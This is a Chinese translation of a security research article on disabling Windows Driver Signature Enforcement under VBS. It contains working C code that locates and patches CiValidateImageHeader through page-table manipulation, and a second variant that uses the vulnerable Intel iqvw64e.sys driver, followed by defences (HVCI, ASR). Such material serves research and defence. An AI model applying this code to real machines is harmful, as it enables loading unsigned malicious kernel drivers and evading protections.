一种禁用驱动程序强制签名的技术
2022-5-30 11:55:0 Author: www.4hou.com(查看原文) 阅读量:42 收藏

如今,代码签名证书的泄露和针对驱动程序的漏洞利用已经成为司空见惯的事情,内核已经成为攻击者新的狩猎场。随着微软推出基于虚拟化的安全(VBS)和管理程序代码完整性(HVCI)等技术,我想知道面对具有Ring-0权限的攻击者时,端点有多容易受到攻击。

在这篇文章中,我们将探讨一种用于禁用驱动程序强制签名的常见技术,VBS是如何试图阻止攻击者利用这一点的;以及在没有结合HVCI的情况下,绕过这种安全措施是多么的轻松。

驱动程序强制签名机制

一段时间以来,Windows一直使用驱动强制签名(DSE)机制来防止攻击者将未签名的驱动程序加载到内核中。这是一种非常有效的方法,可以确保攻击者无法轻易绕过内核中实现的各种安全功能,例如通过破坏EPROCESS字段来绕过PPL(Process Protection Light,PPL)。

为了克服这个障碍,攻击者有多条路可走。第一条路是向目标发送一个易受攻击的驱动程序,该驱动程序符合所有的签名要求,但允许攻击者利用其缺陷进行内存修改,以便将未签名的驱动程序加载到内核。第二条路是利用以前暴露的签名证书给自己的驱动程序代码签名,这样就可以将其直接加载到内核中了。而随着最近越来越多的签名证书被泄露,该技术已经成为了攻击者的首选。

禁用驱动程序强制签名机制

那么,如果我们想要禁用驱动程序强制签名机制,又不想将OS重新引导至调试或测试模式,那该怎么办呢?实际上,在Windows的最新版本中,DSE是通过一个名为ci.dll的模块实现的,并且在该模块中公开了一个名为g_CiOptions的配置变量:

 1.png

这个配置变量具有许多可设置的标志,但就本文来说,可以直接将其设置为0来完全禁用DSE,从而允许攻击者加载未签名的驱动程序。 

在很长一段时间里,作为一种将未签名的驱动程序加载到操作系统中的简单手段,都是堪称完美的。但后来Windows10引入了VBS机制,这种方法就从此失效了。

基于虚拟化的安全保护机制

如今,微软在保护内核不被篡改方面做出了巨大的努力。David Weston在2018年的Bluehat会议上发表了一篇精彩的演讲,对个中缘由进行了全面的总结,其中主要的方面就是安全法则的不断变化。诸如“如果攻击者能说服受害者自己的电脑上运行其程序,那这台电脑就不再属于攻击者了”这样的法则已经不再成立,因为微软已经花了很大的力气来提高操作系统的安全性,从而防止这种事情的发生。

微软为提高内核的安全性而部署的技术之一被称为“基于虚拟化的安全机制”。该机制在Windows 10和11系统中是默认启用的,并提供了一个受管理程序保护的环境,来运行第二个“安全内核”,而运行在Ring-0级别上的传统内核是无法触及该环境的。

注意:就目前来说,许多人都把VBS和HVCI混为一谈了。实际上,VBS并不是HVCI。HVCI可以被看作是在VBS的保护伞下运行,但需要单独的配置才能启用。

那么,VBS是如何防止用泄漏的证书或易受攻击的驱动程序禁用驱动程序强制签名机制的呢?为了弄清楚这一点,先让我们看看CI.dll中g_CiOptions变量是如何解析的:

1.png

我们可以看到,这里使用了MmProtectDriverSection,它是作为一种叫做内核数据保护(KDP)的技术的一部分而提供的API。这个API的作用,就是确保传递内存地址时,在Ring-0中运行的代码无法修改其内容。

即使我们试图使用像WinDBG这样连接到内核的程序(通过设置DebugFlags为0x10来启用DSE),我们仍然无法更新存储的值。

1.png

这意味着,为了在VBS被启用的情况下禁用DSE,我们必须另寻他法。

利用补丁技术禁用DSE

对于熟悉AMSI绕过技术的读者来说,对于接下来要介绍的方法肯定不会陌生:补丁技术。首先,我们需要知道在哪里打补丁,所以,让我们进入内核调试器会话,并在安全策略会进行审查的地方添加一个断点。根据对CI.dll的了解,CiCheckPolicyBits函数看起来是一个下断点的好地方。从这里开始,如果尝试加载一个未签名的驱动程序,会看到如下所示的调用堆栈:

1.png

就像上面看到的那样,执行流程通过SeValidateImageHeader函数从内核进入CI,而该函数调用了CiValidateImageHeader函数。实际上,该函数的作用就是验证驱动程序是否符合签名要求。接下来,让我们给SeValidateImageHeader添加一个断点,看看CiValidateImageHeader在无法成功加载未签名的驱动程序时会返回什么。

1.png

在我看来,这好像是一个NTSTATUS代码。在幻数数据库中的搜索结果显示,c0000428对应于STATUS_INVALID_IMAGE_HASH。所以,我们可以推测,如果这个函数返回STATUS_SUCCESS,我们就可以绕过这个签名检查。幸运的是,我们也知道这个方法并不受内核数据保护的保护,所以,我们现在只需想出一个允许向这个内存位置执行写操作的方法即可。

利用已签名的驱动程序禁用DSE

首先,让我们创建一个简单的驱动程序,以便将来用于禁用DSE。很明显,这个程序在创建之后,必须用证书签名才能加载。由于在下一节将变得很明显的原因,我们将专注于通过读/写操作来植入CiValidateImageHeader。

我们先在内核中修改CiValidateImageHeader的内存保护。最直接的方法是直接修改虚拟地址的页表项(PTE)。为了抓取CiValidateImageHeader的页表项,我们首先需要找到一种方法,允许我们将虚拟地址转换为其对应的PTE。

对于熟悉游戏作弊技术的人来说,已经猜到在这种情况下可以使用的函数是MiGetPteAddress。关于这个方法的详细介绍,请参阅@33y0re关于PTE覆盖的相关文章。基本上,这个函数能够找出稍后用到的PTE基址;下图中,该地址为0FFFFCE8000000000,但在每次重启后,该地址都会发生变化:

1.png

为了找到这个函数,我们需要在内存中寻找一个字节签名。为此,我们可以用下面的代码来完成该任务: 

void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
         for (int i = 0; i < maxHuntLength; i++) {
                  if (base[i] == inSig[0]) {
                          if (memcmp(base + i, inSig, length) == 0) {
                                   return base + i;
                          }
                  }
         }
         return NULL;
}
...

通过在内存中搜索与MiGetPteAddress匹配的签名,我们可以提取PTE的基址,并将虚拟地址解析为PTE位置:

char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 };
void* FindPageTableEntry(void* addr) {
         ULONG_PTR MiGetPteAddress = signatureSearch(&ExAcquireSpinLockSharedAtDpcLevel, MiGetPteAddressSig, sizeof(MiGetPteAddressSig), 0x30000);
         if (MiGetPteAddress == NULL) {
                  return NULL;
         }  
         ULONG_PTR PTEBase = *(ULONG_PTR*)(MiGetPteAddress + sizeof(MiGetPteAddressSig));
         ULONG_PTR address = addr;
         address = address >> 9;
         address &= 0x7FFFFFFFF8;
         address += (ULONG_PTR)PTEBase;
         return address;      
}

现在,我们已经能够解析虚拟地址的PTE了,接下来,我们需要找到CivalidateImageHeader的虚拟地址。由于该函数不是由ci.dll导出的,因此,我们将再次通过签名进行查找:

char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
ULONG_PTR CiValidateImageHeader = signatureSearch(CiValidateFileObjectPtr, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig), 0x100000);
if (CiValidateImageHeader == NULL) {
  return;
}
CiValidateImageHeader -= CiValidateImageHeaderSigOffset;

一旦我们找到该地址,我们就可以获得其PTE位置。为此,我们只需要对PTE中相应的位进行翻转,从而迫使包含CiValidateImageHeader的内存页变为是可写的:

ULONG64 *pte = FindPageTableEntry(CiValidateImageHeader);
*pte = *pte | 2;

当页面设置为可写时,我们接下来就可以用xor rax, rax; ret来修补函数的开头部分;注意备份好原始指令,以便以后还原:

char retShell[] = { 0x48, 0x31, 0xc0, 0xc3 };
char origBytes[4];
memcpy(origBytes, CiValidateImageHeader, 4);
memcpy(CiValidateImageHeader, retShell, 4);

然后,恢复页面保护:

*pte = *pte ^ 2;
// After this, page protection is reverted

完成上述操作后,让我们尝试加载未签名的驱动程序:

演示视频:https://youtu.be/uSNivgtM5BM

加载未签名驱动程序后,要考虑的另一件重要事情,就是恢复以前打过补丁的函数,以避免PatchGuard从中作梗,具体如下所示:

*pte = *pte | 2;
memcpy(CiValidateImageHeader, origBytes, 4);
*pte = *pte ^ 2;

通过易受攻击的驱动程序禁用DSE

现在,让我们考虑另一个场景:如果我们希望使用易受攻击的驱动程序,而不是通过用泄露的证书签名的恶意驱动程序禁用DSE的话,那该怎么办?正如我们在上面所看到的,我们所需要的只是一个易受攻击的驱动程序中的读/写原语,并且,这些并非难事!

下面,让我们详细介绍如何使用易受攻击的驱动程序来禁用DSE。在本例中,我们将使用Intel的iqvw64e.sys驱动程序,它已经流行了一段时间。由于我们这次不是在内核中执行代码,所以,我们就必须执行一些额外的步骤来计算用户模式下的地址。

首先,我们需要确定ntoskrnl.exe和ci.dll的基址。为此,我们可以使用NtQuerySystemInformation和SystemModuleInformation轻松实现这一点:

ULONG_PTR GetKernelModuleAddress(const char *name) {
         DWORD size = 0;
         void* buffer = NULL;
         PRTL_PROCESS_MODULES modules;
         NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
         while (status == STATUS_INFO_LENGTH_MISMATCH) {
                  VirtualFree(buffer, 0, MEM_RELEASE);
                  buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                  status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
         }
         if (!NT_SUCCESS(status))
         {
                  VirtualFree(buffer, 0, MEM_RELEASE);
                  return NULL;
         }
         modules = (PRTL_PROCESS_MODULES)buffer;
         for (int i=0; i < modules->NumberOfModules; i++)
         {
                  char* currentName = (char*)modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName;
                  if (!_stricmp(currentName, name)) {
                          ULONG_PTR result = (ULONG_PTR)modules->Modules[i].ImageBase;
                          VirtualFree(buffer, 0, MEM_RELEASE);
                          return result;
                  }
         }
         VirtualFree(buffer, 0, MEM_RELEASE);
         return NULL;
}
... 
ULONG_PTR kernelBase = GetKernelModuleAddress("ntoskrnl.exe");
ULONG_PTR ciBase = GetKernelModuleAddress("CI.dll");

接下来,我们需要进行签名搜索。这里最简单的方法就是将我们的文件映射为SEC_IMAGE并在内存中搜索PE节:

void* mapFileIntoMemory(const char* path) {
         HANDLE fileHandle = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
         if (fileHandle == INVALID_HANDLE_VALUE) {
                  return NULL;
         }
         HANDLE fileMapping = CreateFileMapping(fileHandle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
         if (fileMapping == NULL) {
                  CloseHandle(fileHandle);
                  return NULL;
         }
         void *fileMap = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, 0);
         if (fileMap == NULL) {
                  CloseHandle(fileMapping);
                  CloseHandle(fileHandle);
         }
         return fileMap;
}
void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
         for (int i = 0; i < maxHuntLength; i++) {
                  if (base[i] == inSig[0]) {
                          if (memcmp(base + i, inSig, length) == 0) {
                                   return base + i;
                          }
                  }
         }
         return NULL;
}
ULONG_PTR signatureSearchInSection(char *section, char* base, char* inSig, int length) {
         IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)base;
         IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((char*)base + dosHeader->e_lfanew);
         IMAGE_SECTION_HEADER* sectionHeaders = (IMAGE_SECTION_HEADER*)((char*)ntHeaders + sizeof(IMAGE_NT_HEADERS64));
         IMAGE_SECTION_HEADER* textSection = NULL;
         ULONG_PTR gadgetSearch = NULL;
         for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
                  if (memcmp(sectionHeaders[i].Name, section, strlen(section)) == 0) {
                          textSection = &sectionHeaders[i];
                          break;
                  }
         }
         if (textSection == NULL) {
                  return NULL;
         }
         gadgetSearch = (ULONG_PTR)signatureSearch(((char*)base + textSection->VirtualAddress), inSig, length, textSection->SizeOfRawData);
         return gadgetSearch;
}
...
const char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 }; 
const char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
gadgetSearch = signatureSearchInSection((char*)".text", (char*)kernelBase, MiGetPteAddressSig, sizeof(MiGetPteAddressSig));
MiGetPteAddress = gadgetSearch - kernelBase + sizeof(MiGetPteAddressSig);
gadgetSearch = signatureSearchInSection((char*)"PAGE", (char*)ciMap, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig));
CiValidateImageHeader = gadgetSearch - ciMap + ciBase - CiValidateImageHeaderSigOffset;
...

完成上述操作后,我们需要读取PTE基址:

// Use intel driver vuln to copy kernel memory between user/kernel space
copyKernelMemory(devHandle, (ULONG_PTR)&pteBase, MiGetPteAddress, sizeof(void*));

接下来,我们需要读取MiGetPteAddress的PTE表项,以便进行修改:

ULONG_PTR getPTEForVA(ULONG_PTR pteBase, ULONG_PTR address) {
         ULONG_PTR PTEBase = pteBase;
         address = address >> 9;
         address &= 0x7FFFFFFFF8;
         address += (ULONG_PTR)PTEBase;
         return address;
}
ULONG_PTR pteAddress = getPTEForVA(pteBase, CiValidateImageHeader);
copyKernelMemory(devHandle, (ULONG_PTR)&pte, pteAddress, 8);

然后,更新页面的写保护位:

pte |= 2;

最后,复制内存补丁:

copyKernelMemory(devHandle, (ULONG_PTR)origMem, CiValidateImageHeader, sizeof(origMem));
copyKernelMemory(devHandle, CiValidateImageHeader, (ULONG_PTR)retShell, sizeof(retShell));

完成这一切后,我们发现由于DSE被禁用,所以,我们又可以加载未签名的驱动程序了:

演示视频:https://youtu.be/j0jb8x4C638

一旦加载完这些程序,就必须恢复之前所做的修改,以避免被PatchGuard保护机制活捉。

防御措施

那么,我们如何防止类似的事情发生呢?幸运的是,防御方有多种选择可用。首先,就是HVCI。

HVCI使用二级地址表(SLAT)来确保映射为Read-Execute的页面不能被写入,以及确保Read-Write页面不能在PTE中设置Execute位。这样的话,攻击者就无法直接修补可执行内存,从而使上面的方法失效。

例如,让我们尝试在启用HVCI的情况下重演上述场景:

1.png

如果我们拉出内存转储并把它扔进WinDBG,我们就可以看到,即使我们试图更新内存页的保护属性,memcpy仍然导致了系统服务异常。

1.png

如果无法启用HVCI,还可以借助于微软的Attack Surface Reduction机制;该机制能够阻止一系列经常被利用的易受攻击的驱动程序和泄露的代码签名证书。这再次阻止了攻击者跳入内核所需的立足点,但是由于存在大量驱动程序漏洞,因此,其防御效果并不理想。

本文翻译自:https://blog.xpnsec.com/gcioptions-in-a-virtualized-world/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/MWOP
如有侵权请联系:admin#unsafe.sh